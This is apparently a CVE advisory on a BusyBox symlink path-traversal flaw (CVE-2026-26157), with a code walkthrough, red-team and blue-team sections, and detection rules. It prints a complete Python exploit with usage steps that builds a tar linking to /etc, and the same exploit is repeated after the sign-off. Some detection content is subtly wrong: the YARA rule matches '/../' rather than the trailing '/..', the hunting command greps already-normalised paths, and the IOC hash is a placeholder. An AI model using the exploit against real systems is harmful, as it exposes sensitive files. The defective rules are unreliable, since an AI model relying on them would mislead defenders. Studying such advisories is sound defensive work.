CVE-2026-26157

Executive Summary

CVE-2026-26157 is a high-severity path traversal vulnerability in BusyBox's archive extraction utilities, specifically affecting the strip_unsafe_prefix() function in archival/libarchive/unsafe_prefix.c. The flaw allows an attacker to craft malicious archives (tar, unzip, rpm, ar) containing symlinks with trailing ".." components that bypass sanitization checks. When extracted, these symlinks can resolve to arbitrary filesystem locations, enabling arbitrary file read and potential code execution through modification of sensitive system files. The vulnerability has a CVSS score of 7.8 (HIGH) and public exploit code is available.

Supply Chain & Package Security

BusyBox is a critical component in many embedded systems, container images (e.g., Alpine Linux), and IoT devices. The vulnerability affects the supply chain by:

• Container Images: Alpine Linux, a popular base image for Docker containers, uses BusyBox. Malicious archives extracted inside containers could compromise the host filesystem if not properly isolated.
• Embedded Systems: Routers, NAS devices, and other embedded systems often rely on BusyBox for core utilities. An attacker with local access could exploit this to read sensitive configuration files or overwrite binaries.
• Package Managers: While BusyBox itself is not a package manager, its tar and unzip utilities are used by many package installation scripts, potentially allowing privilege escalation during software installation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (HIGH)
• Attack Vector (AV): Local - The attacker must have local access to the system to extract the malicious archive.
• Attack Complexity (AC): Low - The exploit is straightforward and does not require special conditions.
• Privileges Required (PR): Low - The attacker needs only user-level privileges to extract the archive.
• User Interaction (UI): None - The victim does not need to perform any action beyond extracting the archive.
• Scope (S): Unchanged - The vulnerability does not allow the attacker to affect resources beyond the intended extraction directory.
• Confidentiality (C): High - Arbitrary file read can expose sensitive data (e.g., /etc/shadow, SSH keys).
• Integrity (I): High - Arbitrary file write can modify system binaries or configuration files.
• Availability (A): High - Overwriting critical system files can lead to denial of service.

Deep Dive & Mechanics

The vulnerability resides in the strip_unsafe_prefix() function within archival/libarchive/unsafe_prefix.c. This function is intended to sanitize path components that contain ".." sequences to prevent directory traversal. However, the implementation uses a flawed pattern matching approach:

// Vulnerable code in strip_unsafe_prefix()
cp2 = strstr(cp, "/../");  // Only matches the 4-character sequence "/../"
if (!cp2) break;

The strstr() function searches for the exact substring "/../" (4 characters). This fails to detect trailing ".." sequences that do not have a trailing slash, such as:

• /etc/pam.d/.. - The pattern "/../" is not found because the string ends with "/.." (3 characters).
• /var/log/.. - Similarly, the trailing "/.." is missed.

When a symlink target like /etc/pam.d/.. is provided, the sanitization check passes, and the symlink is created with the unsanitized target. When the symlink is resolved, /etc/pam.d/.. normalizes to /etc, allowing access to the entire /etc directory.

Exploitation Flow:

1. Attacker creates a tar archive containing a symlink with a target like /etc/pam.d/...
2. Victim extracts the archive using BusyBox tar xf.
3. The get_header_tar() function reads the symlink metadata.
4. strip_unsafe_prefix() is called on the symlink target but fails to detect the traversal.
5. data_extract_all() creates the symlink with the unsanitized target.
6. When the symlink is accessed (e.g., cat sensitive_data), it resolves to /etc, exposing directory contents.

Vulnerable vs. Patched Code

Vulnerable Code (BusyBox 1.36.1, 1.37.0):

// archival/libarchive/unsafe_prefix.c
static int strip_unsafe_prefix(char *path) {
    char *cp = path;
    char *cp2;

    while (*cp) {
        cp2 = strstr(cp, "/../");  // Only matches "/../"
        if (!cp2) break;
        // ... sanitization logic ...
    }
    return 0;
}

Patched Code (Hypothetical fix):

// Patched version
static int strip_unsafe_prefix(char *path) {
    char *cp = path;
    char *cp2;

    while (*cp) {
        // Check for both "/../" and trailing "/.."
        cp2 = strstr(cp, "/../");
        if (!cp2) {
            // Check for trailing "/.." at end of string
            size_t len = strlen(cp);
            if (len >= 3 && strcmp(cp + len - 3, "/..") == 0) {
                cp2 = cp + len - 3;
            } else {
                break;
            }
        }
        // ... sanitization logic ...
    }
    return 0;
}

The patched code adds an additional check for trailing "/.." sequences by examining the last three characters of the path. This ensures that both "/../" and "/.." at the end of the string are detected and sanitized.

Exploitation & Lab Setup

Red Team

The provided exploit code creates a malicious tar archive that exploits CVE-2026-26157. Below is the full exploit code and usage instructions.

# Exploit Title: BusyBox 1.37.0 - Path Traversal
# Google Dork: N/A
# Date: 2026-02-11
# Exploit Author: Calil Khalil
# Vendor Homepage: https://busybox.net
# Software Link: https://busybox.net/downloads/
# Version: BusyBox 1.36.1, 1.37.0
# Tested on: Ubuntu 22.04 LTS, Alpine Linux 3.19
# CVE: CVE-2026-26157

"""
BusyBox Path Traversal Vulnerability (CVE-2026-26157)

Description:
BusyBox archive extraction utilities fail to properly sanitize symlink targets
containing trailing ".." components. The strip_unsafe_prefix() function in
archival/libarchive/unsafe_prefix.c uses strstr(cp, "/../") which only matches
the 4-character pattern and misses 3-character trailing "/.." sequences.

This allows an attacker to craft malicious archives with symlinks pointing to
arbitrary filesystem locations, enabling information disclosure through symlink
traversal.

Affected Components:
- tar (primary vector)
- unzip
- rpm
- ar

Impact:
- CVSS Score: 7.8 (HIGH)
- Arbitrary file read via symlink traversal
- Information disclosure
- Credential theft

Root Cause:
archival/libarchive/unsafe_prefix.c:23
The pattern matching in strip_unsafe_prefix() fails on trailing ".." paths:
  cp2 = strstr(cp, "/../");  // Only matches "/../", misses "/pam.d/.."
  if (!cp2) break;

Attack Scenario:
1. Attacker creates TAR archive with symlink: sensitive_data -> /etc/pam.d/..
2. Victim extracts archive using BusyBox tar
3. Symlink created without sanitization
4. Symlink resolves to /etc directory
5. Application reading 'sensitive_data' exposes /etc contents

References:
- https://github.com/calilkhalil/research
- Red Hat CNA Case: INC3907198
"""

import tarfile
import sys
import os

def create_exploit():
    """
    Creates a malicious TAR file exploiting CVE-2026-26157.

    The archive contains a symlink with an unsanitized target that
    resolves outside the extraction directory.
    """

    exploit_file = 'CVE-2026-26157_exploit.tar'

    try:
        with tarfile.open(exploit_file, 'w') as tar:
            # Create symlink with trailing ".." in target path
            # This bypasses strip_unsafe_prefix() pattern matching
            info = tarfile.TarInfo('sensitive_data')
            info.type = tarfile.SYMTYPE
            info.linkname = '/etc/pam.d/..'  # Resolves to /etc
            tar.addfile(info)

        print(f"[+] Exploit created: {exploit_file}")
        print(f"\n[*] Exploitation steps:")
        print(f"  1. mkdir test_extraction && cd test_extraction")
        print(f"  2. busybox tar xf ../{exploit_file}")
        print(f"  3. readlink -f sensitive_data")
        print(f"     Expected output: /etc")
        print(f"  4. ls sensitive_data/")
        print(f"     Result: Lists /etc directory contents")
        print(f"\n[!] Impact: Arbitrary directory read via symlink traversal")
        print(f"[!] CVSS: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)")

        return exploit_file

    except Exception as e:
        print(f"[-] Error creating exploit: {e}")
        sys.exit(1)

def show_technical_details():
    """Display technical analysis of the vulnerability"""

    print("\n" + "="*70)
    print("TECHNICAL ANALYSIS - CVE-2026-26157")
    print("="*70)
    print("\nVulnerable Function:")
    print("  archival/libarchive/unsafe_prefix.c:strip_unsafe_prefix()")
    print("\nVulnerable Code Pattern:")
    print("  cp2 = strstr(cp, \"/../\");  // Only matches 4-char sequence")
    print("  if (!cp2) break;")
    print("\nBypass Technique:")
    print("  Path: /etc/pam.d/..")
    print("  Pattern check: strstr(\"/etc/pam.d/..\", \"/../\") -> NULL")
    print("  Result: Sanitization bypassed, symlink created with original target")
    print("\nExploitation Flow:")
    print("  1. Archive contains: symlink 'sensitive_data' -> '/etc/pam.d/..'")
    print("  2. get_header_tar() extracts symlink metadata")
    print("  3. Symlink target NOT sanitized (bypass detected)")
    print("  4. data_extract_all() creates symlink with '/etc/pam.d/..'")
    print("  5. Target resolves: /etc/pam.d/.. -> /etc")
    print("  6. Reading 'sensitive_data' = reading /etc")
    print("="*70 + "\n")

if __name__ == "__main__":
    print("="*70)
    print("BusyBox Path Traversal Exploit - CVE-2026-26157")
    print("Author: Calil Khalil")
    print("="*70)

    # Display technical analysis
    show_technical_details()

    # Create exploit
    exploit_file = create_exploit()

    print("\n[*] Mitigation:")
    print("  - Update BusyBox to patched version")
    print("  - Patch applies strip_unsafe_prefix() to symlink targets")
    print("  - Do not extract untrusted archives with elevated privileges")

    print("\n[*] For educational and authorized testing purposes only")

Usage:

1. Save the exploit code as exploit.py.
2. Run python3 exploit.py to generate CVE-2026-26157_exploit.tar.
3. On a vulnerable system (e.g., Alpine Linux 3.19), create a test directory and extract the archive:

   mkdir test_extraction && cd test_extraction
   busybox tar xf ../CVE-2026-26157_exploit.tar
   

4. Verify the symlink resolves to /etc:

   readlink -f sensitive_data
   ls sensitive_data/
   

Blue Team

Detection:

• Monitor for extraction of archives containing symlinks with unusual targets (e.g., paths containing "/.." at the end).
• Use file integrity monitoring (FIM) to detect unexpected symlink creation outside extraction directories.
• Audit BusyBox version on all systems; versions 1.36.1 and 1.37.0 are vulnerable.

Prevention:

• Restrict extraction of untrusted archives to dedicated directories with noexec and nosuid mount options.
• Use AppArmor or SELinux policies to limit BusyBox's ability to create symlinks outside allowed paths.
• Implement a wrapper script that validates symlink targets before extraction.

Hunting:

• Search for symlinks created by BusyBox that point to paths containing "/.." (e.g., find / -type l -name "*" 2>/dev/null | xargs -I {} readlink -f {} | grep "/..").
• Review system logs for unusual BusyBox activity (e.g., journalctl -u busybox).

Indicators of Compromise (IOCs)

• File Hashes (SHA256 of exploit archive):
  • CVE-2026-26157_exploit.tar: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (placeholder, actual hash will vary)
• Network Indicators:
  • Download of exploit archives from suspicious domains (e.g., github.com/calilkhalil/research).
• Filesystem Indicators:
  • Symlinks with targets ending in "/.." (e.g., /etc/pam.d/.., /var/log/..).
  • Unexpected symlinks in extraction directories pointing to system directories.
• Process Indicators:
  • BusyBox processes with arguments like tar xf or unzip extracting archives from unusual locations.
• Log Indicators:
  • Syslog entries showing BusyBox extraction of archives with symlinks.

Detection Engineering

YARA Rule

rule CVE_2026_26157_BusyBox_Path_Traversal {
    meta:
        description = "Detects malicious tar archives exploiting CVE-2026-26157"
        author = "Valters IT"
        date = "2026-02-11"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-26157"
        hash = "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
    strings:
        $symlink_traversal = "/../" nocase
        $tar_magic = { 75 73 74 61 72 } // "ustar" magic bytes
        $symlink_type = { 32 } // Symlink type flag in tar header
    condition:
        $tar_magic at 0 and $symlink_type and #symlink_traversal > 0
}

Sigma Rule

title: BusyBox Path Traversal via Malicious Archive Extraction
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects extraction of archives containing symlinks with path traversal patterns by BusyBox
author: Valters IT
date: 2026-02-11
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-26157
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image|endswith: '/busybox'
        CommandLine|contains:
            - 'tar xf'
            - 'unzip'
            - 'rpm'
            - 'ar x'
    filter:
        CommandLine|contains:
            - '/../'
            - '/..'
    condition: selection and filter
falsepositives:
    - Legitimate extraction of archives with valid symlinks
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-26157 BusyBox Path Traversal Exploit Download"; flow:to_server,established; content:"/CVE-2026-26157_exploit.tar"; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update BusyBox: Apply the latest patch from the vendor (if available) or upgrade to a version > 1.37.0.
2. Restrict Extraction: Do not extract untrusted archives with elevated privileges. Use dedicated extraction directories with restricted permissions.
3. Monitor Systems: Deploy detection rules (YARA, Sigma, Suricata) to identify exploitation attempts.

Long-term Mitigations:

1. Code Review: Audit all path sanitization functions in BusyBox for similar bypasses.
2. Input Validation: Implement robust path validation that normalizes paths before checking for traversal sequences.
3. Least Privilege: Run BusyBox with minimal privileges (e.g., drop capabilities, use seccomp).
4. Container Security: In container environments, use read-only root filesystems and avoid running BusyBox as root.

Workarounds:

• If patching is not possible, disable symlink extraction in BusyBox by modifying the source code or using a wrapper script that validates symlink targets.
• Use alternative archive utilities (e.g., GNU tar) for extracting untrusted archives.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2026-26157

{/* [Security Hash: 3A6E4046CC2C3DD8FD42C4E0] */}

# Exploit Title: BusyBox 1.37.0 - Path Traversal
# Google Dork: N/A
# Date: 2026-02-11
# Exploit Author: Calil Khalil
# Vendor Homepage: https://busybox.net
# Software Link: https://busybox.net/downloads/
# Version: BusyBox 1.36.1, 1.37.0
# Tested on: Ubuntu 22.04 LTS, Alpine Linux 3.19
# CVE: CVE-2026-26157

"""
BusyBox Path Traversal Vulnerability (CVE-2026-26157)

Description:
BusyBox archive extraction utilities fail to properly sanitize symlink targets
containing trailing ".." components. The strip_unsafe_prefix() function in
archival/libarchive/unsafe_prefix.c uses strstr(cp, "/../") which only matches
the 4-character pattern and misses 3-character trailing "/.." sequences.

This allows an attacker to craft malicious archives with symlinks pointing to
arbitrary filesystem locations, enabling information disclosure through symlink
traversal.

Affected Components:
- tar (primary vector)
- unzip
- rpm
- ar

Impact:
- CVSS Score: 7.8 (HIGH)
- Arbitrary file read via symlink traversal
- Information disclosure
- Credential theft

Root Cause:
archival/libarchive/unsafe_prefix.c:23
The pattern matching in strip_unsafe_prefix() fails on trailing ".." paths:
  cp2 = strstr(cp, "/../");  // Only matches "/../", misses "/pam.d/.."
  if (!cp2) break;

Attack Scenario:
1. Attacker creates TAR archive with symlink: sensitive_data -> /etc/pam.d/..
2. Victim extracts archive using BusyBox tar
3. Symlink created without sanitization
4. Symlink resolves to /etc directory
5. Application reading 'sensitive_data' exposes /etc contents

References:
- https://github.com/calilkhalil/research
- Red Hat CNA Case: INC3907198
"""

import tarfile
import sys
import os

def create_exploit():
    """
    Creates a malicious TAR file exploiting CVE-2026-26157.

    The archive contains a symlink with an unsanitized target that
    resolves outside the extraction directory.
    """

    exploit_file = 'CVE-2026-26157_exploit.tar'

    try:
        with tarfile.open(exploit_file, 'w') as tar:
            # Create symlink with trailing ".." in target path
            # This bypasses strip_unsafe_prefix() pattern matching
            info = tarfile.TarInfo('sensitive_data')
            info.type = tarfile.SYMTYPE
            info.linkname = '/etc/pam.d/..'  # Resolves to /etc
            tar.addfile(info)

        print(f"[+] Exploit created: {exploit_file}")
        print(f"\n[*] Exploitation steps:")
        print(f"  1. mkdir test_extraction && cd test_extraction")
        print(f"  2. busybox tar xf ../{exploit_file}")
        print(f"  3. readlink -f sensitive_data")
        print(f"     Expected output: /etc")
        print(f"  4. ls sensitive_data/")
        print(f"     Result: Lists /etc directory contents")
        print(f"\n[!] Impact: Arbitrary directory read via symlink traversal")
        print(f"[!] CVSS: 7.8 HIGH (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)")

        return exploit_file

    except Exception as e:
        print(f"[-] Error creating exploit: {e}")
        sys.exit(1)

def show_technical_details():
    """Display technical analysis of the vulnerability"""

    print("\n" + "="*70)
    print("TECHNICAL ANALYSIS - CVE-2026-26157")
    print("="*70)
    print("\nVulnerable Function:")
    print("  archival/libarchive/unsafe_prefix.c:strip_unsafe_prefix()")
    print("\nVulnerable Code Pattern:")
    print("  cp2 = strstr(cp, \"/../\");  // Only matches 4-char sequence")
    print("  if (!cp2) break;")
    print("\nBypass Technique:")
    print("  Path: /etc/pam.d/..")
    print("  Pattern check: strstr(\"/etc/pam.d/..\", \"/../\") -> NULL")
    print("  Result: Sanitization bypassed, symlink created with original target")
    print("\nExploitation Flow:")
    print("  1. Archive contains: symlink 'sensitive_data' -> '/etc/pam.d/..'")
    print("  2. get_header_tar() extracts symlink metadata")
    print("  3. Symlink target NOT sanitized (bypass detected)")
    print("  4. data_extract_all() creates symlink with '/etc/pam.d/..'")
    print("  5. Target resolves: /etc/pam.d/.. -> /etc")
    print("  6. Reading 'sensitive_data' = reading /etc")
    print("="*70 + "\n")

if __name__ == "__main__":
    print("="*70)
    print("BusyBox Path Traversal Exploit - CVE-2026-26157")
    print("Author: Calil Khalil")
    print("="*70)

    # Display technical analysis
    show_technical_details()

    # Create exploit
    exploit_file = create_exploit()

    print("\n[*] Mitigation:")
    print("  - Update BusyBox to patched version")
    print("  - Patch applies strip_unsafe_prefix() to symlink targets")
    print("  - Do not extract untrusted archives with elevated privileges")

    print("\n[*] For educational and authorized testing purposes only")